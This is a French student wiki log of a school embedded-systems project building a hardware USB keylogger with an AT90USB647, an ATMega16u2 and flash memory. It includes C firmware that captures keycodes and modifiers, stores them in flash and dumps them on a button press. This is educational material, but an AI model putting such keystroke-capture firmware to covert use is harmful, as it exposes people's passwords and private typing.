Remarque: Je me rend compte que pendant les semaines précédentes, je partais dans toutes les directions en modifiant tout du programme de démo alors qu'il suffisait simplement de modifier quelques lignes de code concernant la configuration du microcontrôleur et de bien fouiller dans les travaux déjà effectué par d'ancien élève. Comme quoi la librairie LUFA est vraiment complète et fonctionnel.&lt;br /&gt;
&lt;br /&gt;
J'attaque désormais l'implémentation de la mémoire via l'AT90 et un moyen de récupérer ces données. Je pensais utiliser les boutons en dessous de l'ATMega pour pouvoir commander l'AT90 par liaison série et l'ordonner à envoyé tout les caractères lu.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour la mise en mémoire des touches tapés, j'ai essayé de faire comme ci-dessous :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
	CLKPR = (1&amp;lt;&amp;lt;CLKPCE);&lt;br /&gt;
	CLKPR = 0;&lt;br /&gt;
	MCUCR |= (1&amp;lt;&amp;lt;JTD);&lt;br /&gt;
	MCUCR |= (1&amp;lt;&amp;lt;JTD);&lt;br /&gt;
&lt;br /&gt;
	SetupHardware();&lt;br /&gt;
&lt;br /&gt;
	puts_P(PSTR(ESC_FG_CYAN &amp;quot;Keyboard HID Host Demo running.\r\n&amp;quot; ESC_FG_WHITE));&lt;br /&gt;
&lt;br /&gt;
	LEDs_SetAllLEDs(LEDMASK_USB_NOTREADY);&lt;br /&gt;
	GlobalInterruptEnable();&lt;br /&gt;
&lt;br /&gt;
	/* Variable for the AT45DB641E */&lt;br /&gt;
	int page_start  		 = 0;&lt;br /&gt;
	int page_actual 		 = page_start;&lt;br /&gt;
	int page_buffer_size = 0;&lt;br /&gt;
&lt;br /&gt;
	for (;;)&lt;br /&gt;
	{&lt;br /&gt;
		KeyboardHost_Task(&amp;amp;page_actual, &amp;amp;page_buffer_size);&lt;br /&gt;
&lt;br /&gt;
		USB_USBTask();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// ...&lt;br /&gt;
&lt;br /&gt;
void KeyboardHost_Task(int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
    // ...&lt;br /&gt;
    /* Checking if the previous buffer was full to change pages or not */&lt;br /&gt;
	if (*page_buffer_size == FLASH_PAGE_SIZE) {&lt;br /&gt;
		 *page_buffer_size = 0;&lt;br /&gt;
		(*page_actual)++;&lt;br /&gt;
	}&lt;br /&gt;
    &lt;br /&gt;
    /* AT45DB641E communication  */&lt;br /&gt;
    /* Recup of the data of the actual page to re-write on */&lt;br /&gt;
    unsigned char data[FLASH_PAGE_SIZE];&lt;br /&gt;
    AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
    &lt;br /&gt;
    /* Writing the Modifier and Keycode in the array */&lt;br /&gt;
    data[(*page_buffer_size)++] = KeyCode;&lt;br /&gt;
    &lt;br /&gt;
    /* Writing in the AT45DB641E buffer before writing in the flash */&lt;br /&gt;
    AT45DB641E_write_buffer(&amp;amp;SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
    &lt;br /&gt;
    /* Writing the buffer into the flash at page_actual address */&lt;br /&gt;
    AT45DB641E_write_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual);&lt;br /&gt;
    &lt;br /&gt;
    /* Waiting the flash finishing writing at page_actual address */&lt;br /&gt;
    while(AT45DB641E_busy(&amp;amp;SPI_PORT, SPI_SS)) {&lt;br /&gt;
    	LEDs_TurnOnLEDs(LEDS_LED1);&lt;br /&gt;
    }&lt;br /&gt;
    LEDs_TurnOffLEDs(LEDS_LED1);&lt;br /&gt;
    &lt;br /&gt;
    /* Serial communication */&lt;br /&gt;
	Serial_SendByte(KeyCode);&lt;br /&gt;
	&lt;br /&gt;
	// ...&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans ma logique, j'utilise trois variables : ''page_start'' qui est la page où l'on commence l'écriture, ''page_actual'' qui indique la page courante et ''page_buffer_size'' qui indique la taille courante du buffer de donnée afin de trouver la place de la touche à mémoriser dans le buffer, et ensuite dans la flash.&lt;br /&gt;
&lt;br /&gt;
L'algorithme est simple, on vérifie tout d'abord si la taille du buffer précédent est égale à la taille d'une page de la flash. Si oui, on réinitialise le compte sur la taille et on incrémente la page courante. Ensuite on récupère les données de la page courante afin de réécrire par dessus. On met les données dans le buffer qu'on écris ensuite dans la flash à la page ''page_actual''. Puis on attend que l'écriture est effectué pour passer à la tâche suivante qui est l'envoie de la touche tapé.&lt;br /&gt;
&lt;br /&gt;
Du côté de l'Atmega c'est simple, il n'y a que la réception qui s'effectue et l'écriture dans le rapport.&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)&lt;br /&gt;
{&lt;br /&gt;
	/* Clear the report contents */&lt;br /&gt;
	memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));&lt;br /&gt;
&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[0] = Serial_ReceiveByte();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Comme je l'avais signalé dans la vidéo précédente, les données à propos des modifieurs (Shift, Control, etc) ne sont pas reçus. J'ai donc essayé d'inclure l'octet Modifier du rapport clavier, mais sans succès. J'ai essayé de trouver des solutions afin de synchroniser par exemple l'envoie et la réception, l'utilisation de la fonction ''Serial_SendData'' pour envoyé les deux octets (Modifieur et Code_Touche) en une fois, mais puisque la liaison USART est asynchrone, je crois bien que le problème est là. Je vais donc essayé de faire des fonctions de réceptions de paquet lorsque l'Atmega détecte la réception d'un octet.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;s&amp;gt;De plus, j'ai essayé d'utiliser les boutons de l'Atmega pour envoyer des octets de données à l'AT90 via liaison série, mais j'ai l'impression que celui-ci ne les reçois pas, ou du moins il ne récupère pas les bons octets (ca m'affiche toujours 0xFF).&amp;lt;/s&amp;gt; Edit: J'avais juste oublié d'appeler la fonction dans la boucle du main.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ci-dessous, on retrouve la fonction executée sur l'AT90 pour gérer la commande de la flash de la part de l'ATMEGA16U2 vers l'AT90USB647. &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void Flash_Task(int *page_start, int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		uint8_t Command_Byte = Serial_ReceiveByte();&lt;br /&gt;
		uint8_t Ending_Byte;&lt;br /&gt;
		do {&lt;br /&gt;
			Ending_Byte = Serial_ReceiveByte();&lt;br /&gt;
		} while((Ending_Byte != 0xFF) || (Ending_Byte == Command_Byte));&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_RESET)&lt;br /&gt;
		{&lt;br /&gt;
			*page_actual 			= *page_start;&lt;br /&gt;
			*page_buffer_size = 0;&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_GET)&lt;br /&gt;
		{&lt;br /&gt;
			uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
&lt;br /&gt;
			int address, j;&lt;br /&gt;
			for (address = (*page_start); address &amp;lt;= (*page_actual); address++)&lt;br /&gt;
			{&lt;br /&gt;
				AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, address, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
				for (j = 0; j &amp;lt; ((address == (*page_actual)) ? (*page_buffer_size) : FLASH_PAGE_SIZE); j += 2)&lt;br /&gt;
				{&lt;br /&gt;
					/* Communicating data by serial connection */&lt;br /&gt;
					while (!Serial_IsSendReady());&lt;br /&gt;
					Serial_SendByte(data[j]);&lt;br /&gt;
					Serial_SendByte(data[j+1]);&lt;br /&gt;
					while (!Serial_IsSendComplete());&lt;br /&gt;
					_delay_ms(50);&lt;br /&gt;
				}&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''&amp;lt;u&amp;gt;Explications :&amp;lt;/u&amp;gt;''' &lt;br /&gt;
&lt;br /&gt;
* Tout d'abord, on vérifie si il y'a un message sur la liaison série de l'ATMEGA vers l'AT90.&lt;br /&gt;
* Si oui, on lit l'octet de commande et on attends que la voie série soit vide.&lt;br /&gt;
* Ensuite on effectue une tâche selon le code:&lt;br /&gt;
** '''''SERIAL_FLASH_RESET''''' qui est 0x22 dans le programme final (valeur prise sans raison particulière) remet à zéro la mémoire de la flash afin de re-enregistrer une nouvelle saisie.&lt;br /&gt;
** '''''SERIAL_FLASH_GET''''' qui est 0x23 dans le programme final (juste que j'aime bien le nombre 23) permet de récupérer les touches tapées et de les envoyer.&lt;br /&gt;
*** On parcourt toutes les pages qui ont pu être enregistrées.&lt;br /&gt;
*** On récupère les touches tapés sur la page.&lt;br /&gt;
*** On parcourt le tableau de deux en deux : On envoie la donnée à l'indice pair qui est le code de touche, et on envoie la donnée à l'indice impaire qui est le code modifieur (Shift, Control, etc...).&lt;br /&gt;
*** On laisse un court instant de délai afin de laisser le temps à l'ATMEGA de bien recevoir les octets de la touche enregistrée. (J'ai essayé avec des délais plus court, mais ça ne nous redonne pas correctement la liste enregistrée, des lettres sont passés si le délai est trop court)&lt;br /&gt;
&lt;br /&gt;
A la ligne 25 on peut observer un ternaire pour la condition de boucle. On regarde si l'adresse de page est égale à ''page_actual'' qui est en fait la dernière page enregistrée. Si oui, alors il faut interrompre l'indice j avant qu'elle ne dépasse la taille des données enregistrées sur la dernière page, sinon l'indice j parcourt ''FLASH_PAGE_SIZE'' - 1 fois le tableau de donnée récupéré.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Concernant la fonction de gestion de la flash du côté de l'ATMEGA :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void Flash_Task(void)&lt;br /&gt;
{&lt;br /&gt;
	uint8_t ButtonStatus_LCL = Buttons_GetStatus();&lt;br /&gt;
&lt;br /&gt;
	/* Reset flash button */&lt;br /&gt;
	if (ButtonStatus_LCL &amp;amp; BUTTONS_BUTTON1){&lt;br /&gt;
		_delay_ms(200);&lt;br /&gt;
		Serial_SendByte(SERIAL_FLASH_RESET);&lt;br /&gt;
		// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);&lt;br /&gt;
		while(!Serial_IsSendComplete());&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	/* Get all the flash */&lt;br /&gt;
	if (ButtonStatus_LCL &amp;amp; BUTTONS_BUTTON2){&lt;br /&gt;
		_delay_ms(200);&lt;br /&gt;
		Serial_SendByte(SERIAL_FLASH_GET);&lt;br /&gt;
		// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);&lt;br /&gt;
		while(!Serial_IsSendComplete());&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On lit quel bouton est appuyé et on le compare pour ensuite envoyé une commande via la liaison série. On peut observer un délai juste avant l'envoie de la commande qui est nécessaire pour être sur de l'envoyer qu'une seule fois. Sans ce délai, les commandes se serait envoyés plusieurs fois (c'est du vécu), car en effet, les fonctions s'éxecute rapidement et le temps entre l'appui du bouton et son relâchement, il y'a bien quelques centaine de millième de seconde (je ne sais pas exactement le temps ecoulé entre chaque appuie et relâchement de bouton) qui se sont écoulés, ce qui laisse le temps à la fonction Flash_Task d'être executée quelques fois de trop.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin, les fonctions d'écriture du rapport de clavier ont un peu changé pour inclure le code du modifieur. Pour l'ATMEGA, on peut observer l'ajout d'une boucle qui attend que l'on lit sur la liaison série un octet différent de 0xFF ou du code touche lu précédement :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)&lt;br /&gt;
{&lt;br /&gt;
	/* Clear the report contents */&lt;br /&gt;
	memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));&lt;br /&gt;
&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		uint8_t ReceivedByte;&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[0] = Serial_ReceiveByte();&lt;br /&gt;
		do {&lt;br /&gt;
			ReceivedByte = Serial_ReceiveByte();&lt;br /&gt;
		} while((ReceivedByte == 0xFF) || (ReceivedByte == ReportData-&amp;gt;KeyCode[0]));&lt;br /&gt;
&lt;br /&gt;
		ReportData-&amp;gt;Modifier = ReceivedByte;&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et pour l'AT90 on observe l'ajout d'un appel de la fonction d'envoie d'octet :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void KeyboardHost_Task(int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
	//..&lt;br /&gt;
&lt;br /&gt;
		uint8_t KeyCode  = KeyboardReport.KeyCode[0];&lt;br /&gt;
		uint8_t Modifier = KeyboardReport.Modifier;&lt;br /&gt;
&lt;br /&gt;
		/* Check if a key has been pressed */&lt;br /&gt;
		if (KeyCode)&lt;br /&gt;
		{&lt;br /&gt;
			/* Toggle status LED to indicate keypress */&lt;br /&gt;
			LEDs_TurnOnLEDs(LEDS_LED2);&lt;br /&gt;
&lt;br /&gt;
			/* Serial communication */&lt;br /&gt;
			Serial_SendByte(KeyCode);&lt;br /&gt;
			Serial_SendByte(Modifier);&lt;br /&gt;
&lt;br /&gt;
			/* Checking if the previous buffer was full to change pages or not */&lt;br /&gt;
			if (*page_buffer_size == FLASH_PAGE_SIZE) {&lt;br /&gt;
				 *page_buffer_size = 0;&lt;br /&gt;
				(*page_actual)++;&lt;br /&gt;
			}&lt;br /&gt;
&lt;br /&gt;
			/* AT45DB641E communication */&lt;br /&gt;
			/* Recup of the data of the actual page to re-write on */&lt;br /&gt;
			uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
			AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
			/* Writing the Modifier and Keycode in the array */&lt;br /&gt;
			data[(*page_buffer_size)++] = KeyCode;&lt;br /&gt;
			data[(*page_buffer_size)++] = Modifier;&lt;br /&gt;
&lt;br /&gt;
			/* Writing in the AT45DB641E buffer before writing in the flash */&lt;br /&gt;
			AT45DB641E_write_buffer(&amp;amp;SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
			/* Writing the buffer into the flash at page_actual address */&lt;br /&gt;
			AT45DB641E_write_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual);&lt;br /&gt;
&lt;br /&gt;
			/* Waiting the flash finishing writing at page_actual address */&lt;br /&gt;
			while(AT45DB641E_busy(&amp;amp;SPI_PORT, SPI_SS)) {&lt;br /&gt;
				LEDs_TurnOnLEDs(LEDS_LED1);&lt;br /&gt;
			}&lt;br /&gt;
			LEDs_TurnOffLEDs(LEDS_LED1);&lt;br /&gt;
&lt;br /&gt;
			LEDs_TurnOffLEDs(LEDS_LED2);&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	// ...&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En effet, comme je l'avais dit lors de la présentation du précédent code, je n'arrivais pas encore à obtenir le code modifieur et donc récupérer deux octets. Je me suis donc mis à comprendre comment fonctionne la communication USART entre les deux microcontrôleurs. Et après quelques essaie de code, j'ai observé qu'à chaque envoie d'octet via la liaison série et de la fonction '''''Serial_SendByte''''', on reçoit d'abord un octet à 0xFF et ensuite l'octet de notre donnée, ce qui explique pourquoi on vérifie l'octet 0xFF dans les boucles while pour la lecture des octets transmis par la liaison série.&lt;br /&gt;
&lt;br /&gt;
On peut retrouver les codes d'expérimentation pour comprendre le fonctionnement de la communication série avec le lien [[:Fichier:Keylogger Serial Testing.zip|ci-joint]].&lt;br /&gt;
&lt;br /&gt;
On peut voir beaucoup de ligne commentée, mais parmis elles, on peut observer les différents tests que j'ai pu effectuer pour comprendre la communication USART.&lt;br /&gt;
&lt;br /&gt;
= Documents Rendus =&lt;br /&gt;
[[:Fichier:Keyboard-Device-Atmega (Semaine 1).zip#file]]&lt;br /&gt;
&lt;br /&gt;
ReX : Erreur dans la fonction &amp;lt;code&amp;gt;LEDs_ToggleLEDs&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Erreur dans le &amp;lt;code&amp;gt;makefile&amp;lt;/code&amp;gt;, la fréquence de lu quartz externe est de 8Mhz. Mettre le code ci-dessous en début de fonction &amp;lt;code&amp;gt;main&amp;lt;/code&amp;gt; :&lt;br /&gt;
 CLKSEL0 = 0b00010101;   // sélection de l'horloge externe&lt;br /&gt;
 CLKSEL1 = 0b00001111;   // minimum de 8Mhz&lt;br /&gt;
 CLKPR = 0b10000000;     // modification du diviseur d'horloge (CLKPCE=1)&lt;br /&gt;
 CLKPR = 0;              // 0 pour pas de diviseur (diviseur de 1)&lt;br /&gt;
Tests AT45DB641E : [[:Fichier:TestMem CMD WR.zip|Fichiers de test mémoire]]&lt;br /&gt;
&lt;br /&gt;
Tests AT90USB647 : [[:Fichier:KeyboardHost.zip|Fichiers KerboardHost]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Fichiers Keylogger : [[:Fichier:Keylogger.zip|lien]]&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Keylogger_Serial_Testing.zip&amp;diff=764</id>
		<title>Fichier:Keylogger Serial Testing.zip</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Keylogger_Serial_Testing.zip&amp;diff=764"/>
		<updated>2023-08-09T18:51:05Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : Programmes pour expérimenter la liaison série&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Description ==&lt;br /&gt;
Programmes pour expérimenter la liaison série&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:2023_EC5_Keylogger.zip&amp;diff=763</id>
		<title>Fichier:2023 EC5 Keylogger.zip</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:2023_EC5_Keylogger.zip&amp;diff=763"/>
		<updated>2023-08-09T18:16:15Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : Programmes Keylogger pour l'AT90USB647 et l'ATMEGA16U2&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Description ==&lt;br /&gt;
Programmes Keylogger pour l'AT90USB647 et l'ATMEGA16U2&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2022/2023_EC5&amp;diff=762</id>
		<title>SE4 2022/2023 EC5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2022/2023_EC5&amp;diff=762"/>
		<updated>2023-08-09T15:29:36Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : Edit&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Objectifs =&lt;br /&gt;
&lt;br /&gt;
Il vous est demandé de : &lt;br /&gt;
* réaliser un keylogger en partant d'un prototype réalisé par un élève des années précédentes, ce prototype comporte :&lt;br /&gt;
** un microcontrôleur AT90USB647 pour pouvoir utiliser un projet LUFA en mode hôte,&lt;br /&gt;
** un microcontrôleur ATMega16u2 pour pouvoir utiliser un projet LUFA en mode périphérique,&lt;br /&gt;
** une mémoire flash pour pouvoir sauver les touches capturées ;&lt;br /&gt;
* commencez par écrire un programme, basé sur la démonstration LUFA bas-niveau Keyboard pour vérifier que la partie ATMega16u2 de la carte fonctionne ;&lt;br /&gt;
* poursuivez en vérifiant que vous avez accès, à partir de l'AT90USB647 à la carte mémoire AT45DB641E, vous pouvez vous baser sur le code des PeiP ;&lt;br /&gt;
* vous pourrez alors tester la démonstration LUFA hôte bas-niveau KeyboardHost ;&lt;br /&gt;
* enfin terminez en récupérant les symboles lus par l'AT90USB647 sur le clavier USB pour les transmettre par UART à l'ATMega16u2 puis au PC ;&lt;br /&gt;
* il reste à stocker les symboles au passage dans la mémoire flash et à prévoir une interface particulière sur l'ATMega16u2 pour récupérer les informations.&lt;br /&gt;
&lt;br /&gt;
= Matériel nécessaire =&lt;br /&gt;
&lt;br /&gt;
Vous avez besoin du prototype de la carte keylogger et d'un Arduino configuré en programmateur AVR ISP.&lt;br /&gt;
&lt;br /&gt;
[[file:2023-keylogger-schema.png|thumb|400px|left|Schéma électronique]]&lt;br /&gt;
[[file:2023-keylogger-pcb.png|thumb|400px|right|Routage]]&lt;br /&gt;
&lt;br /&gt;
Le schéma électronique et le routage de cette carte sont donnés dans les figures ci-contre.&lt;br /&gt;
&lt;br /&gt;
Le [[file:2023-keylogger-fritzing.zip]] fichier Fritzing de la carte est disponible (à renommer en &amp;lt;code&amp;gt;.fzz&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Le dernier projet sur ce sujet est disponible sur l'ancien Wiki [https://wiki-ima.plil.fr/mediawiki//index.php/IMA4_2020/2021_EC2].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;clear: both;&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Travail réalisé =&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 1&amp;lt;/u&amp;gt; ===&lt;br /&gt;
En premier temps, je me suis intéressé au fonctionnement, aux outils et librairie nécessaire au fonctionnement de la librairie LUFA.&lt;br /&gt;
&lt;br /&gt;
J'ai donc essayé de comprendre comment créer un projet LUFA grâce aux démos, d'installer les programmes tel que dfu-programmer et avr-gcc.&lt;br /&gt;
&lt;br /&gt;
Cependant, n'ayant pas de PC natif linux, j'ai d'abord essayer avec Windows Sous Linux (qui est la solution que j'ai utilisé tout au long de l'année) mais je n'arrivais pas à apercevoir le périphérique USB de la carte Atmega16u2, j'ai donc essayé d'installer et utiliser une VM Linux et j'ai pu lier le périphérique DFU Bootloader de l'Atmega vers la VM afin de téléverser le programme de démo device : Keyboard.&lt;br /&gt;
[[Fichier:Capture d'écran Ouverture Fritzing.png|vignette]]&lt;br /&gt;
J'ai essayé d'ouvrir le fichier schématique de la carte électronique qui fonctionne très bien, mis à part trois fichier/modèle manquant dans l'archive comme les boutons et l'AT90. Ainsi, j'ai pu déterminer où été branché les leds à l'Atmega afin de configurer le programme de démo LUFA. &lt;br /&gt;
&lt;br /&gt;
J'ai réussi à téléverser un programme et à contrôler les leds de la carte électronique du côté de l'Atmega, mais je pense qu'il doit toujours y avoir des erreurs dans la configuration du programme. En effet, lorsque je développe la description du périphérique USB de l'Atmega, j'observe qu'il n'y a pas d'Endpoint présent dans la description.&lt;br /&gt;
&lt;br /&gt;
Enfin, je n'arrivais pas à récupérer une fonction de délai afin de faire clignoter les leds, donc j'ai essayé d'implémenter les boutons de la carte électronique qui fonctionne bel et bien, plus qu'à regarder la vidéo pour voir le code à l'action !&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Vidéo :&amp;lt;/u&amp;gt;  [[:Fichier:EC5-Semaine1.mp4]]&lt;br /&gt;
&lt;br /&gt;
ReX : Impossible de voir quelle erreur tu as fait pour les LED : pas de code dans le Wiki.&lt;br /&gt;
&lt;br /&gt;
ReX : La vidéo n'existe plus merci de la télécharger dans le Wiki.&lt;br /&gt;
&lt;br /&gt;
ReX : La fonction de délai est &amp;lt;code&amp;gt;_delay_ms&amp;lt;/code&amp;gt;, le fichier d'inclusion nécessaire est &amp;lt;code&amp;gt;util/delay.h&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 2&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
L'erreur apparaît car la fonctionnalité USB côté Atmega16u2 n'est pas implémenter/implémentable.&lt;br /&gt;
&lt;br /&gt;
ReX : Cette phrase n'a pas de sens l'ATMega16u2 est bien doté d'une implantation USB matérielle. A la livraison du matériel j'ai aussi montré le bon fonctionnement du mode DFU/USB et la façon d'y faire entre le microcontrôleur.&lt;br /&gt;
&lt;br /&gt;
ReX : Au vu des erreurs dans le projet LUFA je crois comprendre ce que vous voulez dire c'est que vos erreurs dans le projets LUFA font que la fonctionnalité USB de ce projet est défaillante. Corrigez, testez à nouveau ...&lt;br /&gt;
[[Fichier:Image.png|vignette]]&lt;br /&gt;
Benjamin : Après avoir corriger le code pour le 16u2, j'ai essayé d'implémenter un code pour l'USB647, mais lorsque je regarde dans mes périphériques, mon ordinateur ne reconnaît pas ... J'ai essayé de voir dans les travaux déjà réalisé et ai trouvé qu'il y'avait une manière particulière de bootloader le micro contrôleur (à la même manière qu'avec le 16u2) &amp;lt;ref&amp;gt;[[:Fichier:Keyboard problem2.jpg]]&amp;lt;/ref&amp;gt;, mais le périphérique reste inconnu pour ma machine.&lt;br /&gt;
&lt;br /&gt;
Benjamin : J'ai réussi à trouver le périphérique en téléchargeant le logiciel [https://www.microchip.com/en-us/development-tool/flip FLIP] et en suivant cette vidéo (&amp;lt;nowiki&amp;gt;https://youtu.be/Vd0F0XHzchY&amp;lt;/nowiki&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
ReX : Tu tentes de faire le projet sous windows ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Non, j'utilise une VM Linux pour faire le projet, mais je n'ai que des machines Windows chez moi et impossible de Dual Boot mon PC.&lt;br /&gt;
&lt;br /&gt;
ReX ; Dans ce cas tu peux affecter le périphèrique USB en mode DFU à la machine virtuelle et téléverser avec &amp;lt;code&amp;gt;dfu-programmer&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Une preuve du fonctionnement pour l'ATMega16u2 ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Non, il n'y a pas de preuve du fonctionnement de l'ATMega16u2 concernant la partie USB, néanmoins de part la consigne de la première étape qui m'a été donné ci-dessus, il est question de vérifier le fonctionnement du microcontrôleur et donc de savoir si il est aussi possible de téléverser un programme sur celui-ci. On peut donc voir par la vidéo fourni la semaine dernière que le microcontrôleur fonctionne correctement, sans pour autant avoir la partie USB fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
Cependant, en téléversant la démo fourni par LUFA, on voit que l'ATMega16u2 prend le contrôle de mon clavier [[:Fichier:Video-atmega16u2-usb.mp4|(voir vidéo)]].&lt;br /&gt;
&lt;br /&gt;
ReX : Heu je te vois taper sur ton clavier ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : J'ai essayé de voir pour résoudre le problème concernant la connexion à l'USB647, mais je n'ai toujours pas de solution. J'essaie de voir pour emprunter une machine à un ami qui soit sous booté sous Linux afin de voir si le problème vient du système d'exploitation.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu, alors 1) faire SE sans machine Linux c'est quand même un problème 2) au pire démarre un Linux live sur une clef USB. Tu vas quand même pas t'arrêter sur ce genre de détail !&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 3&amp;lt;/u&amp;gt; ===&lt;br /&gt;
Benjamin : J'ai booté un ancien PC avec une distribution Linux et j'arrive enfin à utiliser l'AT90USB647. J'ai alors configuré le code réalisé par les PeiP en renseignant les bonnes informations à propos de la Flash et des Leds. Cependant, en téléversant mon programme, les leds ne s'allume pas, j'ai essayé de regarder si la tension était bonne aux broches des Leds (Broches F5 et F6) et il semble que la tension délivré soit la basse impédance. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Fichier :&amp;lt;/u&amp;gt; [[:Fichier:MassStoragePeiP.zip|Code_AT90USB]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Question :&amp;lt;/u&amp;gt; Y'a t'il des choses à configurer correctement afin d'utiliser l'AT90USB ? Car dans l'état, je ne peux pas savoir si tout fonctionne sans témoin visuel. &lt;br /&gt;
&lt;br /&gt;
Update : Tout fonctionne concernant l'AT90USB647, seulement que les LEDS ont été soudés à l'envers. &lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 4&amp;lt;/u&amp;gt; ===&lt;br /&gt;
Pendant cette semaine, j'ai essayé de mettre en place les deux démos de la librairie LUFA : MassStorage et KeyboardHost, énoncés dans les tâches à effectuer ci-dessus.&lt;br /&gt;
&lt;br /&gt;
